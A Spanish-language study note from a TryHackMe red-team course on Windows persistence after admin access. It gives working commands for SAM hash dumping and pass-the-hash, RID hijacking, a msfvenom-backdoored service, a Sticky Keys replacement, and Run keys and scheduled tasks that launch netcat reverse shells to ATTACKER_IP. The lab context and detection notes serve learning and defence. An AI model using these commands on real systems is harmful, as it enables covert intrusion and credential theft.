Persistencia
La persistencia es el conjunto de técnicas que permiten a un atacante mantener el acceso a un sistema comprometido sin necesidad de pasar de nuevo por la fase de explotación. Se establece…
Definición
La persistencia es el conjunto de técnicas que permiten a un atacante mantener el acceso a un sistema comprometido sin necesidad de pasar de nuevo por la fase de explotación. Se establece lo antes posible tras obtener acceso inicial para protegerse ante: parches que cierran la vulnerabilidad original, expiración de credenciales, o detección por el equipo azul.
Contexto
- Se asume que ya se tiene acceso administrativo al host objetivo.
- Los métodos más sigilosos actúan sobre cuentas sin privilegios (menos monitorizadas) en lugar de sobre la cuenta de Administrador.
- Esta nota forma parte del Red Team Path (THM): sigue a Windows Privilege Escalation (THM) y precede a Lateral Movement and Pivoting (THM).
1. Manipulación de usuarios y grupos
Agregar usuario al grupo Administrators (directa, ruidosa)
net localgroup administrators thmuser0 /addAgregar al grupo Backup Operators + acceso remoto (más sigilosa)
El grupo Backup Operators puede leer/escribir cualquier archivo del sistema ignorando DACLs — sin aparecer como Administrador.
# Añadir a Backup Operatorsnet localgroup "Backup Operators" thmuser1 /add
# Añadir a Remote Management Users para WinRMnet localgroup "Remote Management Users" thmuser1 /add
# Desactivar LocalAccountTokenFilterPolicy (necesario para que los grupos tengan efecto remoto)reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1Extraer SAM + SYSTEM con el grupo Backup Operators:
# Desde evil-winrm como thmuser1reg save hklm\system system.bakreg save hklm\sam sam.bakdownload system.bakdownload sam.bakVolcar hashes con impacket:
python3 secretsdump.py -sam sam.bak -system system.bak LOCALPass-the-Hash con el hash de Administrator:
evil-winrm -i MACHINE_IP -u Administrator -H <NT_HASH>2. Privilegios especiales y Security Descriptors
Asignar SeBackupPrivilege + SeRestorePrivilege directamente (sin cambiar grupos)
# Exportar política de seguridad actualsecedit /export /cfg config.inf
# Editar config.inf: añadir el usuario a SeBackupPrivilege y SeRestorePrivilege# Ejemplo: SeBackupPrivilege = *S-1-5-32-544,*S-1-5-21-...-<RID_USUARIO>
# Reimportar la políticasecedit /import /cfg config.inf /db config.sdbsecedit /configure /db config.sdb /cfg config.infModificar Security Descriptor de WinRM (sin añadir al grupo Remote Management Users)
# Desde sesión GUI con privilegios de administradorSet-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI# → Añadir el usuario con Full Control en la ventana emergenteCon esta técnica,
net user thmuser2mostrará al usuario como miembro sólo de Users — sin señales de alarma visibles.
3. RID Hijacking
Modificar el RID en el registro SAM para que un usuario sin privilegios obtenga el token de acceso del Administrador (RID 500).
# Ver SIDs/RIDs de todos los usuarioswmic useraccount get name,sid# → Administrador: S-1-...-500 thmuser3: S-1-...-1010
# El RID de thmuser3 en el registro SAM está en:# HKLM\SAM\SAM\Domains\Account\Users\<RID_HEX>\F
# Modificar el RID (requiere privilegios de SYSTEM)# Usar PsExec para obtener sesión SYSTEM:PsExec64.exe -i -s regedit.exe# → Navegar a HKLM\SAM\SAM\Domains\Account\Users\000003F2\F# → Cambiar el valor del RID (offset 0x30) de 0x03F2 (1010) a 0x01F4 (500)Tras el cambio, thmuser3 recibirá el token de Administrador al autenticarse.
4. Backdoors en servicios existentes (ejecutables de servicio)
Modificar un servicio legítimo para que ejecute un payload adicional antes de lanzar el servicio real. Técnica: Backdoor en ejecutable de servicio.
# Generar payload que se integra en el serviciomsfvenom -a x64 --platform windows -x <servicio_legitimo.exe> -k \ -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 \ -b "\x00" -f exe -o <servicio_backdoor.exe>Sustituir el ejecutable del servicio y reiniciarlo.
5. Backdoors en la pantalla de inicio de sesión (Accessibility Features)
Reemplazar accesibilidad (sethc.exe = Sticky Keys, utilman.exe = Utility Manager) por cmd.exe para ejecutar comandos como SYSTEM antes de autenticarse.
# Desde sesión con privilegios de admintakeown /f C:\Windows\System32\sethc.exeicacls C:\Windows\System32\sethc.exe /grant Administrator:Fcopy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exeEn la pantalla de login: pulsar Shift 5 veces → aparece cmd.exe como SYSTEM.
Para utilman.exe: pulsar Win+U en la pantalla de login.
6. Persistencia en el registro (Run Keys)
# Ejecutar payload en cada login del usuario actualreg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BackdoorApp /t REG_SZ /d "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4449" /f
# Para todos los usuarios (requiere admin)reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v BackdoorApp /t REG_SZ /d "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4449" /f7. Tareas programadas persistentes
# Crear tarea que se ejecuta cada minuto como SYSTEMschtasks /create /sc minute /mo 1 /tn THM-Backdoor /ru SYSTEM /tr "C:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4450"Comparativa de técnicas
| Técnica | Sigilo | Acceso obtenido | Detección típica |
|---|---|---|---|
| Añadir a Administrators | Bajo | Admin completo | Monitoreo de grupos |
| Backup Operators + UAC bypass | Medio | Admin via PtH | Cambio clave registro |
| Privilegios especiales (secedit) | Alto | Admin via backup | Revisión política de seguridad |
| Security Descriptor WinRM | Alto | Acceso remoto | Auditoría WinRM |
| RID Hijacking | Alto | Token SYSTEM | Monitoreo registro SAM |
| Run Keys | Medio | Shell al login | Startup entries |
| Scheduled Task | Medio | Shell periódico | Event ID 4698 |
Pitfalls / Errores comunes
- No desactivar
LocalAccountTokenFilterPolicy→ Backup Operators no tiene efecto remoto vía WinRM. - Olvidar eliminar las tareas/claves de registro al finalizar el engagement.
- Sustituir sethc.exe sin hacer backup → imposible restaurar.
- RID hijacking requiere sesión de SYSTEM, no sólo Administrator → usar PsExec64 con
-s. - Usar Run Keys en HKLM sin privilegios de Administrador.
Integración con otras notas
- Previo: Windows Privilege Escalation (THM)
- Siguiente: Lateral Movement and Pivoting (THM)
- Extracción de hashes: Password Attacks (THM)
- C2 para callbacks: Command and Control (C2)
- MITRE: T1098 (Account Manipulation), T1547 (Boot/Logon Autostart), T1053 (Scheduled Task), T1134 (Token Manipulation), T1546.008 (Accessibility Features)
Diagrama
flowchart TD
A[Admin Access] --> B{Técnica de Persistencia}
B --> C[Manipulación de grupos]
B --> D[Privilegios especiales + SD WinRM]
B --> E[RID Hijacking]
B --> F[Accessibility Features backdoor]
B --> G[Run Keys / Scheduled Tasks]
B --> H[Service executable backdoor]
C --> I[Access via WinRM / RDP]
D --> I
E --> J[Token SYSTEM en login]
F --> K[CMD como SYSTEM en pantalla login]
G & H --> L[Shell persistente en callback]
I & J & K & L --> M[Acceso mantenido sin re-explotación]
Referencias
- TryHackMe — Persistence: https://tryhackme.com/room/persistence
- Windows Privilege Constants: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
- Impacket secretsdump: https://github.com/fortra/impacket
- Evil-WinRM: https://github.com/Hackplayers/evil-winrm
- MITRE T1547 (Boot/Logon Autostart): https://attack.mitre.org/techniques/T1547/
- MITRE T1546.008 (Accessibility Features): https://attack.mitre.org/techniques/T1546/008/